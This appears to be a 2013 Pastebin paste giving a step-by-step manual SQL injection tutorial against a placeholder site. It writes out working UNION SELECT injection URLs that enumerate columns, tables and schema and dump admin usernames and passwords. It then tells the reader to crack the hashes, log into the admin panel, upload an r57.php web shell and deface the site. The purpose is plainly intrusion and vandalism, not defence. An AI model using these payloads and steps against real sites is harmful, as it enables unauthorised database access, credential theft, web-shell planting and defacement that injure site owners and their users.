indongsaeng

Manuail SQi Tut TXT

Nov 9th, 2013
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.33 KB | None | 0 0
  1. Starting Tutorial:
  2.  
  3. 1. First you need to find vulnerable website.
  4.  
  5. http://vuln-site.com/index.php?id=15
  6.  
  7. 2. Now you need to find columns.
  8.  
  9. Code:
  10. http://vuln-site.com/index.php?id=15 order by 1-- ( no error )
  11. http://vuln-site.com/index.php?id=15 order by 2-- ( no error )
  12. http://vuln-site.com/index.php?id=15 order by 3-- ( no error )
  13. http://vuln-site.com/index.php?id=15 order by 4-- ( no error )
  14. http://vuln-site.com/index.php?id=15 order by 5-- ( no error )
  15. http://vuln-site.com/index.php?id=15 order by 6-- ( error )
  16. Error`s looks like this:
  17. Code:
  18. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'39' at line 1database query failure- SELECT * FROM texecom_sidemenu WHERE id=\'39
  19. 3. Now Select columns
  20.  
  21. Columns is 5
  22.  
  23. Code:
  24. http://vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5--
  25. 4. Finding version.
  26.  
  27. So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.I choose 1
  28.  
  29. Code:
  30. http://vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5--
  31. you got the version like this:
  32. Code:
  33. 5.0.32-Debian_7etch11-log
  34. 5. Finding Tables
  35.  
  36. Code:
  37. http://vuln-site.com/index.php?id=-15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables--
  38. And you will got tables like this:
  39. Code:
  40. PRODUCTS , ADMINS , and others
  41. So must be there table by name: admin , users , user , login , client.
  42.  
  43. 6. Finding Columns in the Table ADMINS.
  44.  
  45. Code:
  46. http://vuln-site.com/index.php?id=-15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()--
  47. We found ADMINS table now go to ASCII web and convert ADMINS
  48.  
  49. You will got this ADMINSRemove and replace ; to ,Like this: 65,68,77,73,78,83
  50.  
  51. Code:
  52. You put table_name=char(65,68,77,73,78,83)--
  53.  
  54. Code:
  55. http://vuln-site.com/index.php?id=-15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)--
  56. And you will got the columns in table ADMINSThere need to have columns with names: username and password
  57.  
  58. 7. Getting username and password.
  59.  
  60. Now we put concat(username,0x3a,password) and admins
  61.  
  62. Code:
  63. http://vuln-site.com/index.php?id=-15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins--
  64. ( 0x3a is ASCII )
  65.  
  66. 8. Finded username and password
  67.  
  68. So you found the username and password if the password is hash like this: 2510c39011c5be704182423e3a695e91you will need to use MD5 Hash Online Crackers.
  69.  
  70. If password is not hash you are lucky and now you need to find admin panel.
  71.  
  72. 9. Finding Admin Panel
  73.  
  74. Open the tool Admin FinderPut the website in the bellow and click Scan.
  75.  
  76. So you found admin panel and it looks like this http://vuln-site.com/admin/login.php
  77.  
  78. You open website and there have Username: Password: Put username and password what you got.
  79.  
  80. Done you login in Admin Panel lets upload shell and deface.
  81.  
  82. 10. Uploading Shell and Add Deface
  83.  
  84. In Admin Panel you will search categories or anything where you can upload a file or picture.When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:
  85.  
  86. http://vuln-site.com/upload/r57.php
  87.  
  88. http://vuln-site.com/index.php?id=15
Add Comment
Please, Sign In to add comment